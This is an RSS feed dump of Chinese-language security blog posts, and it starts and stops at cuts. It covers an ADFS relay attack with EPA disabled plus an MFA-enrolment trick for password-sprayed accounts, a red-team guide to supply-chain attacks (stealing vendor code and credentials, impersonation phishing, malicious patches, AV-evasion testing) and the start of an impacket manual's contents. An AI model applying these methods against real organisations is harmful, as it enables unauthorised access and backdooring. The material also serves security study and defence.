&#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n139" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">关闭EPA</span></p></li></ul><pre spellcheck="false" lang="" cid="n140" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">epa就是微软官方提供的防止中间人攻击的安全机制，客户端-攻击者 TSL 通道的 CBT 与发送给服务器的授权信息合并。 识别 CBT 的服务器将客户端身份验证信息中所含的 CBT（与客户端-攻击者通道相对应）与附加到攻击者-服务器通道的 CBT 进行比较。 CBT 特定于通道目标，因此客户端-攻击者 CBT 与攻击者-服务器 CBT 不匹配。 这样，服务器就可检测 MITM 攻击并拒绝身份验证请求。</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">服务器可以具有以下级别的保护：</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">无。 不执行任何通道绑定验证。 这是所有尚未更新的服务器的行为。</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">部分支持。 所有已更新的客户端必须向服务器提供通道绑定信息。 尚未更新的客户端无需执行此操作。 这是一个中间选项，可以实现应用程序兼容。</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">已满。 所有客户端都必须提供通道绑定信息。 服务器拒绝来自不提供通道绑定信息的客户端的身份验证请求。</span></pre><p cid="n141" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">epa是默认开启的，所以一般需要adfs和验证服务器之间有流量转发设备（负载均衡、反向代理等）使管理员配置时关闭epa，达成以上两个条件后就可以启动中继脚本（</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/praetorian-inc/ADFSRelay" target="_blank">https://github.com/praetorian-inc/ADFSRelay</a></span><span md-inline="plain" style="box-sizing: border-box;">），抓取受害者身份验证时的cookie从而获取云控制台权限。</span></p><h2 cid="n142" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">一个trick</span></h2><p cid="n143" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">ADFS有个很奇怪的地方，如果管理员开启MFA，但用户还没有设置验证邮箱或手机，那么用户账户在使用正确的账号密码登录后就不再需要管理员对用户设置的MFA信息做审核，用户账户可以直接添加任意认证信息只要收到验证码完成认证即可。也就是说我们可以对正常不会使用ADFS登录的AD域内机器账户或服务账户进行密码喷射，然后手动设置认证信息，即可完成域账号登录。同时遇到MFA也可以思考以下2个问题</span></p><ul class="list-paddingleft-1" cid="n144" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n146" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">真的所有用户都开启了MFA策略吗？</span></p></li><li style="box-sizing: border-box;"><p cid="n148" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">真的所有用户都完成了MFA的设置吗？</span></p></li></ul><p cid="n149" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">可以想一下管理员开启MFA时废弃账号、离职员工的账号真的清退干净了吗？服务账号有设置好权限吗？</span></p><h2 cid="n150" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">参考文章</span></h2><p cid="n151" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://jamescoote.co.uk/ADSFDump-without-WID-and-with-nonexportable-certificates/" target="_blank">https://jamescoote.co.uk/ADSFDump-without-WID-and-with-nonexportable-certificates/</a></span></p><p cid="n152" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.mandiant.com/resources/blog/abusing-replication-stealing-adfs-secrets-over-the-network" target="_blank">https://www.mandiant.com/resources/blog/abusing-replication-stealing-adfs-secrets-over-the-network</a></span></p><p cid="n153" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://aadinternals.com/post/adfs/" target="_blank">https://aadinternals.com/post/adfs/</a></span></p><p cid="n154" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://nodauf.dev/p/practical-guide-for-golden-saml/" target="_blank">https://nodauf.dev/p/practical-guide-for-golden-saml/</a></span></p><p cid="n155" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.netwrix.com/golden_saml_attack.html" target="_blank">https://www.netwrix.com/golden_saml_attack.html</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=cc563473&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCciaVpLmxV7rMLCvBlIjFCaPDjdmDSIGVoFI2VjGDs7yfRian6qljdto876CphLInXhlgGK2GicQAoWA%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=00f0c677&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCciaVpLmxV7rMLCvBlIjFCaPWvQ0fP1S7tkygEAu7WPTKcyEVLFJdibbUtwNPaI9nTJnEFHaNt2arcw%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247483773">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=813fdfc6&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483773%26idx%3D1%26sn%3D5ac758643cc01c38b542dca757e735d4">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 21 Jan 2023 04:39:00 +0800</pubDate>
    </item>
    <item>
      <title>供应链打击思路指北</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483756&amp;idx=1&amp;sn=780d1ff224e12ca1cb6b26040dbe4eca</link>
      <description>供应链打击思路指北，速来学习！</description>
      <content:encoded><![CDATA[<p>
<span>鲁平</span> <span>2023-01-12 23:32</span> <span style="display: inline-block;">北京</span>
</p>

<p>供应链打击思路指北，速来学习！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1f7fc462&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCfFQz6LcAVqNWoysfic3aDzEXyRuEs4BYIj17LXX9Z4xvyVx6yl1AvSOlz2WaA79lbavXBHt7ZPegQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: left;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Helvetica, arial, sans-serif;font-size: 14px;caret-color: rgb(0, 0, 0);">供应链打击是当我们的目标正面难以突破（包括但不限于，资产少、无账号、信息收集后打点迟迟无法进入等情况）时选择绕过正面突破从薄弱点进行攻击的一种攻击方式。根据我们所需要获取的信息不同可以吧供应链打击对象分为如下几种类型</span></p><h2 style="-webkit-print-color-adjust: exact;margin-top: 20px;margin-bottom: 10px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 24px;border-bottom: 1px solid rgb(204, 204, 204);color: black;font-family: Helvetica, arial, sans-serif;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);">供应商分类</h2><ul style="-webkit-print-color-adjust: exact;margin-top: 15px;margin-bottom: 15px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Helvetica, arial, sans-serif;font-size: 14px;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="-webkit-print-color-adjust: exact;"><p>软件系统供应商</p></li></ul><p style="-webkit-print-color-adjust: exact;margin-top: 15px;margin-bottom: 15px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Helvetica, arial, sans-serif;font-size: 14px;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);">为目标提供软件服务，包括提供软件系统、持续代码开发、系统运维等服务，以这类目标为攻击对象，重点目标设置为通过软件供应商的gitlab等内部代码平台获取源码进行审计、获取配置文件的相关密码、获取注释信息或测试文件、测试脚本中的测试、特权账号，或在项目排期平台、nas、内部wiki、内部共享网盘等平台搜索客户信息获取调试系统时客户提供的vpn、vdi等连接内网进行调试的设备账号或客户内网安装时客户提供的内网信息。或通过获取到的信息伪造软件系统供应商身份对供应商提供的目标系统运维人员进行社工钓鱼（动静很大，视情况选择）。当然如果不担心目标发现还可以通过污染源码、推送恶意补丁包等方式为目标设置后门。</p><ul style="-webkit-print-color-adjust: exact;margin-top: 15px;margin-bottom: 15px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Helvetica, arial, sans-serif;font-size: 14px;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="-webkit-print-color-adjust: exact;"><p>安全系统提供厂商</p></li></ul><p style="-webkit-print-color-adjust: exact;margin-top: 15px;margin-bottom: 15px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Helvetica, arial, sans-serif;font-size: 14px;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);">这里主要是找测试镜像或测试环境，因为基本上内网服务器上hids、edr、防火墙、流量管控设备拉满，所以对我们的攻击流量和攻击行为产生的报警情况要通过提前搭建测试环境进行测试并尝试加密绕过并测试免杀马。除此之外，还需要尝试获取安全厂商弱口令+安全系统提权的功能，尝试通过内网安全系统的特权获取内网主机、服务器的权限。如某厂商把自己的edr补丁推送平台设置的权限之大可以当wsus服务器的情况。当然也可以通过获取到的镜像测试环境挖掘安全系统漏洞对目标进行打击</p><ul style="-webkit-print-color-adjust: exact;margin-top: 15px;margin-bottom: 15px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Helvetica, arial, sans-serif;font-size: 14px;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="-webkit-print-color-adjust: exact;"><p>硬件系统提供商</p></li></ul><p style="-webkit-print-color-adjust: exact;margin-top: 15px;margin-bottom: 15px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Helvetica, arial, sans-serif;font-size: 14px;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);">硬件系统提供商包括但不限于摄像头、空调、门禁系统等硬件供应厂商，虽然只是硬件提供商，但很多情况下会提供相应的管控系统。对该类供应商的利用方式与软件供应商大体相似。唯一的小tips是可以尽可能收集对方办公网外网出口，在外网出口的c段或相邻c段大概率可以扫到目标的路由器、硬件设备管控平台开放在公网</p><h2 style="-webkit-print-color-adjust: exact;margin-top: 20px;margin-bottom: 10px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 24px;border-bottom: 1px solid rgb(204, 204, 204);color: black;font-family: Helvetica, arial, sans-serif;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);">供应链信息收集方式</h2><ul style="-webkit-print-color-adjust: exact;margin-top: 15px;margin-bottom: 15px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Helvetica, arial, sans-serif;font-size: 14px;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="-webkit-print-color-adjust: exact;"><p>通过对应系统的copyright信息获取供应商信息</p></li><li style="-webkit-print-color-adjust: exact;"><p>通过对应系统的独特目录名、js文件名、js或html变量名获取供应商信息</p></li><li style="-webkit-print-color-adjust: exact;"><p>通过独特的favicon.ico获取供应商信息</p></li><li style="-webkit-print-color-adjust: exact;"><p>通过”目标 + 决标“关键字搜索对应决标文书获取供应商信息</p></li><li style="-webkit-print-color-adjust: exact;"><p>通过独特web.body（如目标名）通过fofa、搜索引擎等平台找到不属于目标资产范围的测试系统，通过测试系统ip、域名归属反查供应商</p></li><li style="-webkit-print-color-adjust: exact;"><p>通过商务合作新闻获取供应商信息</p></li><li style="-webkit-print-color-adjust: exact;"><p>通过fofa等平台搜索目标关键字在供应商新闻等宣传页找到合作信息</p></li><li style="-webkit-print-color-adjust: exact;"><p>....</p></li></ul><p style="-webkit-print-color-adjust: exact;margin-top: 15px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Helvetica, arial, sans-serif;font-size: 14px;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;">找到合适的供应商就需要通过系统是否持续更新，提供的系统占有量，相关新闻时间、供应商系统薄弱程度等多个方面对供应商进行挑选，然后就回归到我们熟悉的打穿内网筛选所需要的信息这一常规操作上来了</p><div powered-by="xiumi.us" mp-original-font-size="16" mp-original-line-height="25" style="outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 16px;line-height: 25px;overflow-wrap: break-word !important;"><div mp-original-font-size="16" mp-original-line-height="25" style="margin-top: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;display: flex;flex-flow: row nowrap;text-align: center;justify-content: center;line-height: 25px;overflow-wrap: break-word !important;"><div mp-original-font-size="16" mp-original-line-height="0" style="outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;line-height: 0px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" mp-original-font-size="16" mp-original-line-height="0" style="outline: 0px;max-width: 100%;box-sizing: border-box;transform: perspective(0px);transform-style: flat;line-height: 0px;overflow-wrap: break-word !important;"><div mp-original-font-size="16" mp-original-line-height="0" style="outline: 0px;max-width: 100%;box-sizing: border-box;text-align: right;transform: rotateY(180deg);justify-content: flex-end;line-height: 0px;overflow-wrap: break-word !important;"><div mp-original-font-size="16" mp-original-line-height="0" style="outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;width: 22px;height: 22px;vertical-align: top;overflow: hidden;border-width: 1px;border-style: solid;border-color: rgb(103, 103, 103);border-radius: 50%;background-color: rgba(255, 255, 255, 0);line-height: 0px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" mp-original-font-size="16" mp-original-line-height="0" style="outline: 0px;max-width: 100%;box-sizing: border-box;transform: rotateZ(315deg);line-height: 0px;overflow-wrap: break-word !important;"><div mp-original-font-size="16" mp-original-line-height="0" style="margin-top: 9px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;transform: translate3d(3px, 0px, 0px);line-height: 0px;overflow-wrap: break-word !important;"><div mp-original-font-size="16" mp-original-line-height="0" style="outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;width: 8px;height: 8px;vertical-align: top;overflow: hidden;border-style: solid none none solid;border-width: 1px;border-color: rgb(103, 103, 103) rgb(255, 255, 255) rgb(255, 255, 255) rgb(103, 103, 103);line-height: 0px;overflow-wrap: break-word !important;"><p mp-original-font-size="16" mp-original-line-height="0" style="outline: 0px;max-width: 100%;line-height: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float: left;line-height: 0px;width: 0px;vertical-align: top;" mp-original-font-size="16" mp-original-line-height="0"></svg></p></div></div></div></div></div></div></div><div mp-original-font-size="16" mp-original-line-height="25" style="outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: middle;width: 23.1094px;flex: 0 0 auto;align-self: center;height: auto;line-height: 25px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" mp-original-font-size="16" mp-original-line-height="25" style="margin-top: 0.5em;margin-bottom: 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 25px;overflow-wrap: break-word !important;"><div mp-original-font-size="16" mp-original-line-height="25" style="outline: 0px;max-width: 100%;box-sizing: border-box;background-color: rgb(103, 103, 103);height: 1px;line-height: 25px;overflow-wrap: break-word !important;"><p mp-original-font-size="16" mp-original-line-height="25" style="outline: 0px;max-width: 100%;line-height: 25px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float: left;line-height: 0px;width: 0px;vertical-align: top;" mp-original-font-size="16" mp-original-line-height="0"></svg></p></div></div></div><div mp-original-font-size="16" mp-original-line-height="25" style="outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: middle;width: 144.5px;align-self: center;line-height: 25px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" mp-original-font-size="16" mp-original-line-height="25" style="outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 25px;overflow-wrap: break-word !important;"><p mp-original-font-size="16" mp-original-line-height="0" style="outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;display: inline-block;line-height: 0px;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" style="outline: 0px;box-sizing: border-box;vertical-align: middle;line-height: 0px;display: initial;overflow-wrap: break-word !important;width: 258px !important;visibility: visible !important;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=67a00ed1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrqsoDDBMRl0uNBjuuBkfiaibSTne4ZZz7IibRL2ib9JYtCrvGxEDibClMt0HicJpX3Hnp6SpNmcrWBs0IqUH85C93nxA%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p></div></div><div mp-original-font-size="16" mp-original-line-height="25" style="outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: middle;width: 57.7969px;align-self: center;flex: 0 0 auto;height: auto;line-height: 25px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" mp-original-font-size="16" mp-original-line-height="25" style="margin-top: 0.5em;margin-bottom: 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 25px;overflow-wrap: break-word !important;"><div mp-original-font-size="16" mp-original-line-height="25" style="outline: 0px;max-width: 100%;box-sizing: border-box;background-color: rgb(103, 103, 103);height: 1px;line-height: 25px;overflow-wrap: break-word !important;"><p mp-original-font-size="16" mp-original-line-height="25" style="outline: 0px;max-width: 100%;line-height: 25px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float: left;line-height: 0px;width: 0px;vertical-align: top;" mp-original-font-size="16" mp-original-line-height="0"></svg></p></div></div></div></div></div><div powered-by="xiumi.us" mp-original-font-size="16" mp-original-line-height="25" style="outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 16px;line-height: 25px;overflow-wrap: break-word !important;"><div mp-original-font-size="16" mp-original-line-height="25" style="margin-bottom: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;display: flex;flex-flow: row nowrap;line-height: 25px;overflow-wrap: break-word !important;"><div mp-original-font-size="16" mp-original-line-height="25" style="outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;width: auto;vertical-align: top;border-width: 0px;border-style: none;border-color: rgba(255, 255, 255, 0);box-shadow: rgba(255, 255, 255, 0) 0px 0px 0px;flex: 100 100 0%;align-self: flex-start;height: auto;background-attachment: scroll;background-size: 9.97305%;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/rqsoDDBMRl0uNBjuuBkfiaibSTne4ZZz7IvyvzYicicl44lXdP5zEnJhudfZalBNFC9734haD9JqheeiasZWGmoZ6vQ/640?wx_fmt=png&#34;);line-height: 25px;background-position: 0% 0%;background-repeat: repeat;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" mp-original-font-size="16" mp-original-line-height="25" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 25px;overflow-wrap: break-word !important;"><div mp-original-font-size="15" mp-original-line-height="24" style="padding-right: 3px;padding-left: 3px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;font-size: 15px;color: rgb(135, 135, 135);line-height: 24px;letter-spacing: 1px;overflow-wrap: break-word !important;"><p mp-original-font-size="15" mp-original-line-height="24" style="outline: 0px;max-width: 100%;box-sizing: border-box;line-height: 24px;overflow-wrap: break-word !important;">扫码关注</p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://mp.weixin.qq.com/s/9icuAxUO5m9Hbxaz2trqww#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=edc6dd5d&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483756%26idx%3D1%26sn%3D780d1ff224e12ca1cb6b26040dbe4eca">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 12 Jan 2023 23:32:00 +0800</pubDate>
    </item>
    <item>
      <title>impacket编程手册</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483750&amp;idx=1&amp;sn=554c2c6771caefbb3c167bc5fdba9352</link>
      <description>全文142页，2022的文字输出到此为止，初学内网才疏学浅，错漏颇多，恳请大佬指正修改，拜谢拜谢，阿里嘎多~</description>
      <content:encoded><![CDATA[<p>
原创 <span>侠盗鲁平</span> <span>2022-12-08 22:40</span> <span style="display: inline-block;">北京</span>
</p>

<p>全文142页，2022的文字输出到此为止，初学内网才疏学浅，错漏颇多，恳请大佬指正修改，拜谢拜谢，阿里嘎多~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8e8b817d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCfS3xThZVPRWU8gsX4DKjIjP046TFqcNUuTialjiabwGO496gSdSMJv6nJPq4MAkdPYfjOYicRhBVMibg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 12px;">全文142页，2022的文字输出到此为止，初学内网才疏学浅，错漏颇多，恳请大佬指正修改，拜谢拜谢，阿里嘎多~小声bb一下，最近越学习发现自己需要学习的东西越多，还是很沮丧的，太菜了太菜了太菜了，希望2023年自己能争口气把不会的东西补上来吧。</span></p><p><span style="font-size: 12px;">文章首发github</span></p><p><span style="font-size: 12px;"><a href="https://github.com/xzxxzzzz000/impacket-programming-manual" target="_blank">https://github.com/xzxxzzzz000/impacket-programming-manual</a></span></p><p><span style="font-size: 12px;">文章目录如下</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><p><span class="code-snippet_outer">impacket编程手册</span></p><p></p><p><span class="code-snippet_outer">impacket目录结构</span></p><p><span class="code-snippet_outer">ldap</span></p><p><span class="code-snippet_outer">  ldap.py</span></p><p><span class="code-snippet_outer">  ldapasn1.py</span></p><p><span class="code-snippet_outer">  ldaptypes.py</span></p><p><span class="code-snippet_outer">krb5</span></p><p><span class="code-snippet_outer">  asn1.py</span></p><p><span class="code-snippet_outer">  constants.py</span></p><p><span class="code-snippet_outer">  Keytab.py</span></p><p><span class="code-snippet_outer">    structure.py</span></p><p><span class="code-snippet_outer">  ccache.py</span></p><p><span class="code-snippet_outer">  types.py</span></p><p><span class="code-snippet_outer">  crypto.py</span></p><p><span class="code-snippet_outer">  gssapi.py</span></p><p><span class="code-snippet_outer">    spnego.py</span></p><p><span class="code-snippet_outer">  kerberosv5.py</span></p><p><span class="code-snippet_outer">  pac.py</span></p><p><span class="code-snippet_outer">dcerpc</span></p><p><span class="code-snippet_outer">  RPC编程</span></p><p><span class="code-snippet_outer">    rpc编程示例</span></p>  <p><span class="code-snippet_outer">  ndr.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-DTYP</span>]dtypes.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-RPCE</span>]rpcrt.py</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__keyword">enum</span>.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-RPC-EPM</span>]epm.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-EVEN(6)</span>]even(<span class="code-snippet__number">6</span>).py</span></p><p><span class="code-snippet_outer">  iphlp.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-LSAD</span>]lsad.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-LSAT</span>]lsat.py</span></p><p><span class="code-snippet_outer">  mgmt.py</span></p><p><span class="code-snippet_outer">  mimilib.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-NRPC</span>]nrpc.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-NSPI</span>]/[MS-OXNSPI]nspi.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-OXABREF</span>]oxabref.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-PAR</span>]par.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-RPCH</span>]rpch.py</span></p><p><span class="code-snippet_outer">    exchange中继及rpcmap</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-RPRN</span>]rprn.py</span></p><p><span class="code-snippet_outer">    printerbug和PrintNightmare</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-RRP</span>]rrp.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-SAMR</span>]samr.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-SRVS</span>]srvs.py</span></p><p><span 